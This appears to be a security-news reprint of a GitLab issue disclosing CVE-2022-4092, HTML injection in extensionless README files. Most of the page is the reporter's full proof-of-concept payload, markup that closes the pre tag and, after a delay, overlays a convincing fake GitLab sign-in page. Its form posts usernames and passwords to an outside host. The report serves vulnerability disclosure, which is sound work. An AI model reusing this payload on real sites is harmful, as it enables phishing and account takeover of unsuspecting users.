Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2022-4092: HTML content injection in README file (#383208) · Issues · GitLab.org / GitLab · GitLab

An issue has been discovered in GitLab EE affecting all versions starting from 15.6 before 15.6.1. It was possible to create a malicious README page due to improper neutralisation of user supplied input.

CVE
#xss#google#js#git#oauth#auth#bitbucket

Skip to content

Open Issue created Nov 21, 2022 by GitLab SecurityBot@gitlab-securitybotReporter

HTML content injection in README file

HackerOne report #1777934 by yvvdwf on 2022-11-18, assigned to @nmalcolm:

Report | How To Reproduce

Report

Hi,

Summary

Gitlab recently changed the way to render plain text file

###  https://gitlab.com/gitlab-org/gitlab/-/blob/053729ecfd3d2b3d2e0ce3618b35cb3c46472897/app/services/markup/rendering_service.rb#L66  
    def plain_unsafe  
      "<pre class=\"plain-readme\">#{text}</pre>"  
    end  

This allows to inject any HTML content. Although the content is then sanitized by Dumpurify via v-safe-html directly. The sanitization allows <form> tag, thus this can be used to popup a login form. If users enter their credential, then their account will be taken over.

I submit this report when considering the ease of exploitation and its impact (although the HTML content injection does not lead to any kind of XSS). Because the content of README file is loaded by default in the main view of a project, attackers may easily trick users to fill their credential in the dummy login form, for example.

Steps to reproduce

  • in an existing project or create a new one

  • add a file naming README (please note that no extension here, README.md does not work) with the following content:

    </pre>

    <div class="flash-container flash-container-page sticky" data-qa-selector="flash_container">
    <div class="gl-alert flash-notice gl-alert-info" data-testid="alert-info" role="alert">
    <svg class="s16 gl-alert-icon gl-alert-icon-no-title" data-testid="information-o-icon"><use href="https://gitlab.com/assets/icons-02e23cfb3d83e7293d7b4d2b457f8cd4cb75d3c78cfbedc946bf90bf97c2ed73.svg#information-o"></use></svg>
    <button aria-label="Dismiss" class="btn gl-dismiss-btn btn-default btn-sm gl-button btn-default-tertiary btn-icon js-close" type="button">
    <svg class="s16" data-testid="close-icon"><use href="https://gitlab.com/assets/icons-02e23cfb3d83e7293d7b4d2b457f8cd4cb75d3c78cfbedc946bf90bf97c2ed73.svg#close"></use></svg>
    </button>
    <div class="gl-alert-content" role="alert">
    <div class="gl-alert-body">
    Loading content …
    </div>
    </div>
    </div>
    </div>

    <style>[@]keyframes fadeIn {99% {visibility: hidden;} 100% { visibility: visible;}</style>

<div style="position:fixed!important;top:0px;left:0px;right:0px;bottom:0px;background-color:white;z-index:9999; animation: 3s fadeIn; animation-fill-mode: forwards;visibility: hidden;">  
<div style="position:fixed!important;top:0px;left:0px;right:0px;bottom:0px;background-color:var(--gray-50)">  
<div class="page-wrap borderless">  
   <div class="login-page-broadcast">  
   </div>  
   <div class="container navless-container">  
      <div class="content">  
         <div class="flash-container flash-container-page sticky" data-qa-selector="flash_container">  
            <div class="gl-alert flash-alert gl-alert-danger" data-testid="alert-danger" role="alert">  
               <svg class="s16 gl-alert-icon gl-alert-icon-no-title" data-testid="error-icon">  
                  <use href="https://gitlab.com/assets/icons-02e23cfb3d83e7293d7b4d2b457f8cd4cb75d3c78cfbedc946bf90bf97c2ed73.svg#error"></use>  
               </svg>  
               <button aria-label="Dismiss" class="btn gl-dismiss-btn btn-default btn-sm gl-button btn-default-tertiary btn-icon js-close" type="button">  
                  <svg class="s16" data-testid="close-icon">  
                     <use href="https://gitlab.com/assets/icons-02e23cfb3d83e7293d7b4d2b457f8cd4cb75d3c78cfbedc946bf90bf97c2ed73.svg#close"></use>  
                  </svg>  
               </button>  
               <div class="gl-alert-content" role="alert">  
                  <div class="gl-alert-body">  
                     You need to sign in or sign up before continuing.  
                  </div>  
               </div>  
            </div>  
         </div>  
         <div class="mt-3">  
            <div class="col-sm-12 gl-text-center">  
               <img alt="GitLab.com" class="gl-w-10 js-lazy-loaded" src="https://gitlab.com/assets/logo-911de323fa0def29aaf817fca33916653fc92f3ff31647ac41d2c39bbe243edb.svg" loading="lazy" data-qa_selector="js_lazy_loaded_content">  
               <h1 class="mb-3 gl-font-size-h2">  
                  GitLab.com  
               </h1>  
            </div>  
         </div>  
         <div class="mb-3">  
            <div class="gl-w-half gl-xs-w-full gl-ml-auto gl-mr-auto bar">  
               <div id="signin-container">  
                  <div class="tab-content">  
                     <div class="login-box tab-pane active" id="login-pane" role="tabpanel">  
                        <div class="login-body">  
                           <form class="new_user gl-show-field-errors js-arkose-labs-form" id="new_user" aria-live="assertive" data-testid="sign-in-form" action="https://yvvdwf.me/gl" accept-charset="UTF-8" method="post">  
                              <input type="hidden" name="authenticity_token" value="" autocomplete="off">  
                              <div class="form-group gl-px-5 gl-pt-5">  
                                 <label for="user_login" class="label-bold gl-mb-1">Username or email</label>  
                                 <input class="form-control gl-form-input top js-username-field" autofocus="autofocus" autocapitalize="off" autocorrect="off" required="required" title="This field is required." data-qa-selector="login_field" data-testid="username-field" type="text" name="user[login]" id="user_login">  
                                 <p class="gl-field-error hidden">This field is required.</p>  
                              </div>  
                              <div class="form-group gl-px-5">  
                                 <label class="label-bold gl-mb-1" for="user_password">Password</label>  
                                 <input class="form-control gl-form-input bottom" autocomplete="current-password" required="required" title="This field is required." data-qa-selector="password_field" data-testid="password-field" type="password" name="user[password]" id="user_password">  
                                 <p class="gl-field-error hidden">This field is required.</p>  
                              </div>  
                              <div class="gl-px-5">  
                                 <div class="gl-display-inline-block">  
                                    <div class="gl-form-checkbox custom-control custom-checkbox">  
                                       <input name="user[remember_me]" type="hidden" value="0" autocomplete="off"><input class="custom-control-input" type="checkbox" value="1" name="user[remember_me]" id="user_remember_me">  
                                       <label class="custom-control-label" for="user_remember_me"><span>Remember me</span></label>  
                                    </div>  
                                 </div>  
                                 <div class="gl-float-right">  
                                    <a href="/users/password/new">Forgot your password?</a>  
                                 </div>  
                              </div>  
                              <div></div>  
                              <div>  
                                 <!----> <!----> <!---->   
                                 <div data-testid="arkose-labs-challenge" class="gl-display-flex gl-justify-content-center gl-mt-3 gl-mb-n3 js-arkose-labs-container-1" style="display: none;"></div>  
                                 <!---->  
                              </div>  
                              <div class="submit-container move-submit-down gl-px-5">  
                                 <button name="button" type="submit" class="gl-button btn btn-block btn-confirm js-sign-in-button js-no-auto-disable" data-qa-selector="sign_in_button" data-testid="sign-in-button">Sign in</button>  
                              </div>  
                           </form>  
                        </div>  
                     </div>  
                  </div>  
                  <p class="gl-px-5">  
                     By signing in you accept the <a href="/-/users/terms" target="_blank" rel="noreferrer noopener">Terms of Use and acknowledge the Privacy Policy and Cookie Policy</a>.  
                  </p>  
                  <p class="gl-mt-3 gl-text-center">  
                     Don't have an account yet?  
                     <a data-qa-selector="register_link" href="/users/sign_up">Register now</a>  
                  </p>  
                  <div class="clearfix">  
                     <div class="omniauth-container gl-mt-5 gl-p-5 gl-text-center gl-w-90p gl-ml-auto gl-mr-auto">  
                        <label class="gl-font-weight-normal">  
                        Sign in with  
                        </label>  
                        <div class="gl-display-flex gl-flex-wrap gl-justify-content-center">  
                           <form class="gl-mb-3" method="post" action="/users/auth/google_oauth2"><button id="oauth-login-google_oauth2" class="btn gl-button btn-default gl-ml-2 gl-mr-2 gl-mb-2 js-oauth-login  " type="submit"><img alt="Google" title="Sign in with Google" class="gl-button-icon js-lazy-loaded" src="https://gitlab.com/assets/auth_buttons/google_64-9ab7462cd2115e11f80171018d8c39bd493fc375e83202fbb6d37a487ad01908.png" loading="lazy" data-qa_selector="js_lazy_loaded_content">  
                              <span class="gl-button-text">  
                              Google  
                              </span>  
                              </button><input type="hidden" name="authenticity_token" value="" autocomplete="off">  
                           </form>  
                           <form class="gl-mb-3" method="post" action="/users/auth/github"><button id="oauth-login-github" class="btn gl-button btn-default gl-ml-2 gl-mr-2 gl-mb-2 js-oauth-login  " type="submit"><img alt="GitHub" title="Sign in with GitHub" class="gl-button-icon js-lazy-loaded" src="https://gitlab.com/assets/auth_buttons/github_64-84041cd0ea392220da96f0fb9b9473c08485c4924b98c776be1bd33b0daab8c0.png" loading="lazy" data-qa_selector="js_lazy_loaded_content">  
                              <span class="gl-button-text">  
                              GitHub  
                              </span>  
                              </button><input type="hidden" name="authenticity_token" value="" autocomplete="off">  
                           </form>  
                           <form class="gl-mb-3" method="post" action="/users/auth/twitter"><button id="oauth-login-twitter" class="btn gl-button btn-default gl-ml-2 gl-mr-2 gl-mb-2 js-oauth-login  " type="submit"><img alt="Twitter" title="Sign in with Twitter" class="gl-button-icon js-lazy-loaded" src="https://gitlab.com/assets/auth_buttons/twitter_64-22f28114e53ba8324a944fc07b5a5739a78d2a4083d07c0ea2fec2bc1ebfc49d.png" loading="lazy" data-qa_selector="js_lazy_loaded_content">  
                              <span class="gl-button-text">  
                              Twitter  
                              </span>  
                              </button><input type="hidden" name="authenticity_token" value="" autocomplete="off">  
                           </form>  
                           <form class="gl-mb-3" method="post" action="/users/auth/bitbucket"><button id="oauth-login-bitbucket" class="btn gl-button btn-default gl-ml-2 gl-mr-2 gl-mb-2 js-oauth-login  " type="submit"><img alt="Bitbucket" title="Sign in with Bitbucket" class="gl-button-icon js-lazy-loaded" src="https://gitlab.com/assets/auth_buttons/bitbucket_64-daa496030c0c290748e3c2e50f7464d2f5de0e019cce728930e0508a6dac815c.png" loading="lazy" data-qa_selector="js_lazy_loaded_content">  
                              <span class="gl-button-text">  
                              Bitbucket  
                              </span>  
                              </button><input type="hidden" name="authenticity_token" value="" autocomplete="off">  
                           </form>  
                           <form class="gl-mb-3" method="post" action="/users/auth/salesforce"><button id="oauth-login-salesforce" class="btn gl-button btn-default gl-ml-2 gl-mr-2 gl-mb-2 js-oauth-login  " type="submit"><img alt="Salesforce" title="Sign in with Salesforce" class="gl-button-icon js-lazy-loaded" src="https://gitlab.com/assets/auth_buttons/salesforce_64-0fb2c008b7c8d627aadda7ec593509e0bd402752df28d8a17b04ac1a30c26ef9.png" loading="lazy" data-qa_selector="js_lazy_loaded_content">  
                              <span class="gl-button-text">  
                              Salesforce  
                              </span>  
                              </button><input type="hidden" name="authenticity_token" value="" autocomplete="off">  
                           </form>  
                        </div>  
                        <div class="gl-form-checkbox custom-control custom-checkbox">  
                           <input type="checkbox" name="remember_me" id="remember_me" class="custom-control-input">  
                           <label class="custom-control-label" for="remember_me"><span>Remember me  
                           </span></label>  
                        </div>  
                     </div>  
                  </div>  
               </div>  
            </div>  
         </div>  
      </div>  
   </div>  
   <hr class="footer-fixed">  
   <div class="container footer-container">  
      <div class="footer-links">  
         <a href="/explore">Explore</a>  
         <a href="/help">Help</a>  
         <a href="https://about.gitlab.com">About GitLab</a>  
         <a target="_blank" class="text-nowrap" rel="noopener noreferrer" href="https://forum.gitlab.com">Community forum</a>  
      </div>  
   </div>  
</div>  
  • save the file, then back to the main page of the project
  • you should see a login popup that appears after 3 seconds which is adjustable.
  • if the form is submited, its target is outside gitlab.com, e.g., https://yvvdwf.me/gl, then the username/password will be leaked

Impact

A risk to leak username and password of victims

Examples

https://gitlab.com/yvvdwf/dummy-login

What is the current bug behavior?

HTML tag in a plain text is not escaped

What is the expected correct behavior?

HTML tag in a plain text should be escaped

Output of checks

This bug happens on GitLab.com

Impact

A risk to leak username and password of victim

How To Reproduce

Please add reproducibility information to this section:

Video

html-injection

Edited Nov 21, 2022 by Nick Malcolm

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda
CVE-2023-6905
CVE-2023-6903
CVE-2023-6904
CVE-2023-3907